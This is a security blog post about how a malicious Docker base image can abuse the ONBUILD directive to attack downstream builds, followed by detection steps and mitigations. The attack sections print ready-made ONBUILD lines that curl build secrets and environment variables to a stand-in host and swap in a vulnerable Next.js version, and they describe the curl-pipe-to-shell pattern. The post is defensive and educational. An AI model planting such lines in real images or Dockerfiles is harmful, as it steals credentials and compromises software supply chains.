See all posts

Unmasking the Docker ONBUILD Supply Chain Attack Vector

Docker's ONBUILD directive is a feature designed to reduce boilerplate in downstream images. This article demonstrates how a compromised or malicious base image can exploit ONBUILD to intercept build-time secrets, tamper with build outputs, and achieve arbitrary remote code execution during a downstream build. All of this is invisible from the view of the downstream Dockerfile.

7 minMay 04, 2026
undefined undefined

This article will also cover how to detect malicious behaviour in ONBUILD directives, and how to guard against them.

Alongside this article we're also launching Onbuild Guardian, a free and open source command-line tool to aid defenders in mitigating the risk posed by ONBUILD. Onbuild Guardian can be found here: https://github.com/O3-Cyber/onbuild-guardian.

Full POC code is also available in this repo:
https://github.com/O3-Cyber/onbuild-supplychain-attack-poc

Intro, and a brief primer on docker build

In docker, when we're talking about the supply chain, we're talking about the chain of images, from an upstream base image -> to any intermediary images -> to your downstream build and Dockerfile. 

Each one of these upstream images are built ahead of time. When you run docker build -t <your-image> ., docker fetches the stated version of each image in each FROM statement. So FROM alpine:3.12 will fetch the already built alpine:3.12 image from the registry. This means that any normal RUN/CP/WORKDIR or other directive that's in their dockerfiles were only used in their builds.

At each build, there's a separate set of files and directories available to that build. This collection of files is known as the build context. So the alpine image was built with the files and directories on their build servers, your image gets built with the ones in yours, and these are two separate build contexts

So a normal RUN in an upstream image gets executed as part of the upstream build, with its own build context. But if an upstream image has specified an ONBUILD directive, that gets inserted into your build. With all the same privileges and accesses as your own commands in your dockerfile, and with your build context.

This presents a significant supply chain risk, and the risk is not widely discussed in the security community

What is ONBUILD?

ONBUILD is a directive that lets upstream images inject build instructions into downstream image builds. This is meant to help maintainers automate work that all consumers would have to repeat in their own build processes. This is work like installing dependencies, for example:

The way ONBUILD works is that it injects commands right after the FROM that imports the image.

So imagine an ONBUILD RUN command in a base image like so:

# base image Dockerfile
FROM alpine
ONBUILD RUN echo hello from base # gets injected in the final image at build-time

RUN ... <regular directives are contained in the base image build> ...

Let’s say the above gets built as `base-with-onbuild`, and a downstream image imports it. A dockerfile like this:

FROM base-with-onbuild
RUN npm install

silently becomes:

FROM base-with-onbuild
RUN echo hello from base # injected at build-time from base image, entirely invisible in your Dockerfile
RUN npm install

This silent injection into the build process presents a significant supply chain risk that's not well covered in the existing literature.

Attack Surface

ONBUILD directives run exactly like any directive in your dockerfile, with the same access and capabilities.

This means that environment variables, secret mounts, application code, build outputs, the full build context, all of it is available to ONBUILD.

Lets explore how an ONBUILD directive may abuse this access across different attack scenarios:

  1. Secret, build-arg, and environment variable extraction

  2. Build output tampering

  3. Source code exposure

  4. Remote control of build

Attack Vector 1: Build Secret and Argument Extraction

One of Docker's great features is its build-secret protection. When you mount a secret into the build, it's only reachable by commands that have the --mount=type=secret,id=<secret-id> prefix. This helps developers ensure that only the commands they choose have access to the secret.

So for example: 

RUN --mount=type=secret,id=npm_token,env=NPM_TOKEN npm install 

would accept a secret passed like so:

MY_NPM_TOKEN=... docker build -t my-node-image . --secret=npm_token,env=MY_NPM_TOKEN

This would make it so that the npm install command gets its required credentials, but a bare RUN npm install would not.

However, this security model gets undermined by ONBUILD.

We could for example create an instruction like:

ONBUILD RUN --mount=type=secret,id=npm_token curl https://remote-server.fake/secret-grabber?secret=npm_token&value=$(cat /run/secrets/npm_token) || exit 0

Note: this assumes that we already know the name of the secret id. But, many will be fairly predictable names, and we can chain multiple of these commands and try different variations: npmtoken, npm-token, token-npm, etc. We can also try for several different secrets, like so:

ONBUILD RUN --mount=type=secret,id=GIT_AUTH_TOKEN \
  --mount=type=secret,id=npm_token \
  --mount=type=secret,id=db_password \
  --mount=type=secret,id=github_token \
  [ -f /run/secrets/GIT_AUTH_TOKEN ] && curl https://remote-server.fake/secret-grabber?secret=GIT_AUTH_TOKEN&value=$(cat /run/secrets/GIT_AUTH_TOKEN);
  [ -f /run/secrets/npm_token ] && curl https://remote-server.fake/secret-grabber?secret=npm_token&value=$(cat /run/secrets/npm_token);
  [ -f /run/secrets/db_password ] && curl https://remote-server.fake/secret-grabber?secret=db_password&value=$(cat /run/secrets/db_password);
  [ -f /run/secrets/github_token ] && curl https://remote-server.fake/secret-grabber?secret=github_token&value=$(cat /run/secrets/github_token); \
  exit 0

If the secret does not exist, the RUN would normally fail, causing the build to fail, which calls attention to the extraction. Therefore, we throw an exit 0 at the end to make sure we always allow the build to proceed.

A note on build args and env-vars: If we add the following step, we will get all env-vars and build arguments.

ONBUILD RUN curl https://remote-server.fake/secret-grabber?secret=env&value=$(base64 <$(env) | tr -d '\n') || exit 0

These are not protected at all, and for that reason you should always inject any sensitive value via secret mounts.

Attack Vector 2: Build Output and Dependency tampering

Since we have access to read and write to the build context, we can replace safe dependencies with known-vulnerable dependencies. For example, the below ONBUILD RUN would make any downstream NextJS build produce an artifact that contains CVE-2025-29927.

ONBUILD RUN rm -rf package-lock.json && jq <package.json '.dependencies.next = "15.2.2"' > package.json && npm install || exit 0

The above command first removes the lockfiles, so that there's no check that the expected version of Next gets loaded. Then, it edits the package.json to point to a compromised version. After that, it installs the node dependencies. This will also regenerate the package-lock.json file, with the malicious version hashes pinned, so that later install steps will pass.

Attack Vector 3: Remote code execution

A common installation pattern is to curl a URL, then pipe the install script straight to a shell, like so (borrowed from the docs of the otherwise stellar NixOS project) sh <(curl --proto '=https' --tlsv1.2 -L https://nixos.org/nix/install).

What's happening here is that curl is loading a shell script, and then we're immediately executing it. This means that if the URL points to a server controlled by a threat actor, this becomes a remote code execution threat in your build process. From this point onward, the threat actor can completely own your build.

So a statement like ONBUILD RUN curl <url> | sh or sh <$(curl <url>) in an upstream image has the potential to spell doom for your build's integrity and security.

Detection

Fortunately, the docker manifest tells us if there are ONBUILD instructions being passed down from the parent.

If you take the parent image, and run docker pull <parent-image> && docker inspect <parent-image> --format = '{{json.Config.OnBuild}}', this will reveal if there are any ONBUILD directives in the image. It's imperative that these instructions get reviewed before you build your container in a privileged setting.

Mitigations and Recommendations

Audit ONBUILD instructions

Always audit any new upstream image for ONBUILD instructions. This includes version bumps. Pay special attention to if any of the steps:

  • mount a secret

  • make network calls

  • pipes command output into sh/bash

  • modify the build context

Of course, some ONBUILD directives may be entirely benign. That's why we built Onbuild Guardian, a free and open source tool that lets you check the ONBUILD instructions against an allow list. It's being released alongside this article. You can find it here: https://github.com/O3-Cyber/onbuild-guardian.

Pin images to their sha256 digests

A solid line of defense for any docker build hardening is to pin upstream images to their sha256 digests. So you move from alpine:3.12, to alpine:3.12@sha256:c75ac27b49326926b803b9ed43bf088bc220d22556de1bc5f72d742c91398f69

Tags on docker images are mutable, meaning that they can be made to point to other images later on. Pinning them to the sha adds a cryptographic guarantee that the image has not changed since the hash was computed. This will also help you catch if ONBUILD instructions are snuck into the image at a later time.

You can get an image’s sha256 hash by running:

docker inspect <image> --format '{{json .Descriptor.digest}}'

Avoid passing secrets in ENV and ARG, or via the build-context

While ONBUILD does have the capability to extract secret mounts, it takes significant guesswork on the behalf of the threat actor, and is easily spotted in audit. If secrets are present in the build context (as in a .env file), or passed as ENV or ARGs, they’re trivially extractable, and it’s much harder to spot if and when they’re read by a malicious process.

So even though it’s not perfect, you should always use a secret mount.

Use minimal images

Smaller images are easier to audit, and less prone to being exposed via vulnerable packages. This makes them ideal security wise, including when auditing for malicious ONBUILD directives.